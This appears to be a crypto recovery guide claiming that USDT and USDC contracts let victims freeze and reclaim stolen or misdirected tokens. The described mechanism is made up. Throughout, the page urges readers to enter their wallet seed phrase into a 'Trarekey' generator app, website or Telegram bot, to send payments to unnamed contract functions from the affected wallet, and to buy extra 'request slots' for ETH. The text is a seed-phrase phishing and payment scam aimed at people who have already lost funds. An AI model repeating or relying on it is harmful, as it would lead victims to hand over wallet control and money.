Tokens USDT and USDC include a built-in smart contract mechanism for freezing and recovering tokens.
The freezing and recovery mechanism of USDT and USDC tokens plays a key role in implementing anti-money laundering (AML) policies. These features were integrated to ensure compliance with legal regulations and support law enforcement agencies in combating financial crimes.
This functionality allows for the freezing of tokens in cases of suspicious activities or transactional errors, offering enhanced control over blockchain-based assets.
Freezing and Recovery Mechanism
How to Initiate the Token Freezing and Recovery Process?
The freezing and recovery of tokens are automated processes that rely on smart contract functionality. Users can initiate this process through the following steps:
1. Submitting a Request
The user submits a request either:
Through a Specialized Interface: A user-friendly platform designed to guide the process.
Directly via Blockchain:
Interacting with the smart contract directly using blockchain utilities, such as web3 libraries,
etherscan.io, or similar services. (For a manual on how to do this, see below)
The request must include:
Transaction Hash (TX hash): The identifier of the suspicious transaction.
HEX Key (Trarekey): A cryptographic signature that verifies the requestor as the affected party.
The request must be signed from the address where the funds were stolen or from which the erroneous USDT/USDC transaction originated.
2. Initial Freezing
Upon receiving the request, the appeal smart contract freezes the funds associated with the transaction, preventing further movement.
This action is triggered instantly to minimize the risk of fund relocation.
3. AI-Driven Analysis
An AI module assesses the transaction and involved parties, focusing on:
Interaction History: Reviewing prior activities of the wallet addresses.
Behavioral Patterns: Identifying deviations from typical usage.
Transaction Metadata: Detecting elements indicative of fraud or suspicious behavior.
If criteria for risk are met, the freeze remains in place.
4. Temporary Delay
A 24 hour delay follows to prevent system abuse, allowing:
Collection of further evidence, if required.
Validation through external agencies, if required.
If criteria for risk are met, the freeze remains in place.
5. Fund Recovery
Once the request is confirmed as valid, the frozen funds are automatically returned to the sender’s wallet after the delay period.
Key Features
Fast Response: The mechanism operates instantly, minimizing the risk of token withdrawal by malicious actors.
Abuse Prevention: A temporary delay is implemented to eliminate false or fraudulent requests, ensuring system integrity.
Transparency: Every stage of the process, including token freezing and recovery, is recorded on the blockchain, providing full traceability and accountability.
Important Notes and Considerations
Condition for Freezing and Recovery: To initiate the freezing and recovery process, the mistakenly sent or stolen tokens must still reside in the recipient’s wallet. If the tokens have already been transferred to another wallet or exchanged, the mechanism cannot recover them.
Priority for Large Transactions: ◆ The freezing and recovery mechanism prioritizes large transactions, ensuring swift action in cases with significant financial impact.
◆ For smaller transactions, the mechanism operates on a secondary or residual basis, activating only when resources are available, and higher-priority cases have been addressed.
This approach ensures efficient use of system resources while focusing on transactions with the highest potential risk or loss.
Here's an example of a Solidity function that implements the logic for returning frozen tokens in
a USDC smart contract. [initializeV2_1 (0x2fc81e09)] (Link)
What is Trarekey (HEX Key)?
Trarekey is a unique identifier generated using a hash function derived from the user's seed phrase. It serves as a secure means of verifying authorization for operations in a smart contract.
Trarekey is attached to requests sent to the smart contract to confirm that the operation is initiated by an authorized user, including:
Freezing tokens in cases of suspicious activity.
Recovering funds from erroneous or fraudulent transactions.
Trarekey (HEX Key) Generation
The most secure method is generating the Trarekey
locally on the user’s device through a dedicated application, such as TraReKey Generator (Windows), using a secure hashing algorithm.
Alternatively, Trarekey can be generated via a website or a Telegram bot; however, this approach carries additional risks.
How Trarekey is Generated
The HEX key is created from the user's seed phrase using a hash function, ensuring secure identity confirmation without exposing sensitive information. The process is as follows:
Blockchain and Token Selection: The user selects the blockchain and the token (USDT/USDC) for which the recovery request will be submitted.
Seed Phrase Input: The user inputs their seed phrase into the local application or alternative platform.
Hashing Algorithm Execution: A secure hashing algorithm generates a unique HEX key based on the seed phrase.
Security Features of Trarekey
Irreversible Hashing: The Trarekey key is the result of one-way hashing, which means it cannot be reversed to reveal the original seed phrase.
Protection Against Compromise: Even if the Trarekey key is exposed, it cannot compromise the user's seed phrase.
Additionally, all blockchain actions must be signed directly from the wallet associated with the erroneous or compromised transaction involving USDT/USDC tokens.
Confidentiality: The process of generating and using the HEX key is designed to prevent data leaks. The original seed phrase remains confidential and is never shared or transmitted.
Unique and Non-Replicable: The Trarekey key is unique to each user and can only be used with the user's wallet address, ensuring it cannot be forged or misused by others.
The Trarekey key is used to sign requests, ensuring both security and authenticity, without the need to share confidential wallet information.
This robust security design ensures that the Trarekey key maintains the highest level of trust and reliability in operations involving USDT and USDC tokens.
Links and functions for manual entry of the Trarekey
Algorithm for Activating the Function via MetaMask
Ensure MetaMask is Set Up
• Open MetaMask and switch to the Ethereum network (if not already selected).
• Make sure you have sufficient funds to cover the gas fee (ETH in your balance).
Go to the Contract Page
• Open the contract page on Etherscan.io (Basescan.org, Bscscan.com).
• Navigate to the "Contract" tab → "Write Contract" section.
Connect MetaMask to Etherscan
• Click the "Connect to Web3" button in the "Write Contract" section.
• In the pop-up window, select MetaMask and confirm the connection.
• Make sure that MetaMask displays the address of the wallet from which an erroneous payment was made or funds were lost due to fraudulent actions.
Locate the _verifyTxAndKey Function
• The input field for request data (e.g., TxHash, HexKey) will become active.
Enter the Function Data
• Enter a payment amount greater than zero to ensure the transaction is successfully processed by the validator.
• TxHash: Provide the exact hash of the incorrect or suspicious transaction for accurate identification.
• HexKey (Trarekey): Enter the Trarekey, generated either online or through a Windows application. This unique key serves as proof of your authorization to submit a valid request for freezing and recovering tokens.
Double-check the accuracy of the entered information before proceeding.
Submit the Transaction
• Click the "Write" button next to the function.
• MetaMask will open a transaction confirmation window.
• Verify the details:
○ Contract Address: Ensure it matches the contract address on Etherscan.
○ Gas Fee: Confirm that the fee is acceptable (you can adjust the gas limit if needed).
Click "Confirm".
Wait for the Transaction to Process
• After confirmation, the transaction will be sent to the Ethereum network.
• You can track its status in MetaMask or on Etherscan (via the link in the pop-up window).
Check the Result Within 24 Hours
• After a successful transaction, verify the validity of your request using the _getVerificationStatus function in the Read Contract section on Etherscan.
• If the status is confirmed, you can proceed to initiate the _xReverseTransactionInit function.
Activating the Token Refund Function
• Go to the Read Contract section on Etherscan and select the _xReverseTransactionInit function.
• Enter a payment amount greater than zero to ensure the transaction is successfully processed by the validator.
• Provide the validated TxHash.
Click the Write button next to the function to execute it.
Completion Once the transaction is completed, the token refund should occur immediately.
Troubleshooting: What to Do If Something Goes Wrong
Application Submission Error
• Check the validation status of your request.
If the application did not pass validation, you will not be able to invoke the refund function.
Review your submission details and ensure all required information is correct.
Insufficient Gas:
• Add more ETH (BNB) to your wallet to cover the gas fees.
Ensure you have enough balance and then retry the transaction.
Invalid Trarekey (HexKey) • Verify that the key was generated correctly and is linked to the wallet address associated with the lost funds or erroneous transaction.
• Double-check the following when generating the Trarekey:
◆ The correct token is selected (USDC or USDT).
◆ The correct blockchain network is chosen, as the validity of the HexKey depends on these parameters.
Submission Through Etherscan • Ensure that the wallet connected to Etherscan matches the one used to generate the Trarekey.
• If the wrong wallet is connected, the system will reject the request. Reconnect the correct wallet and try again.
By following these steps, you can resolve common issues and proceed with your request successfully.
Request Limits and Pricing Policy
Free Transactions: ◆ Each user is entitled to three free freeze-and-recovery requests. These can be used to address cases of accidental or fraudulent transactions without incurring any cost.
Paid Requests:
◆ Once the free requests are exhausted, users must purchase additional request slots to continue using the mechanism.
◆ This measure is designed to prevent abuse of the freeze-and-recovery system and maintain its integrity.
Pricing Structure for Additional Requests:
◆ 1 Request: 0.05 ETH
◆ 5 Requests: 0.15 ETH
◆ 10 Requests: 0.25 ETH
This tiered pricing structure allows users flexibility based on their needs while ensuring the mechanism remains accessible and sustainable for the broader ecosystem.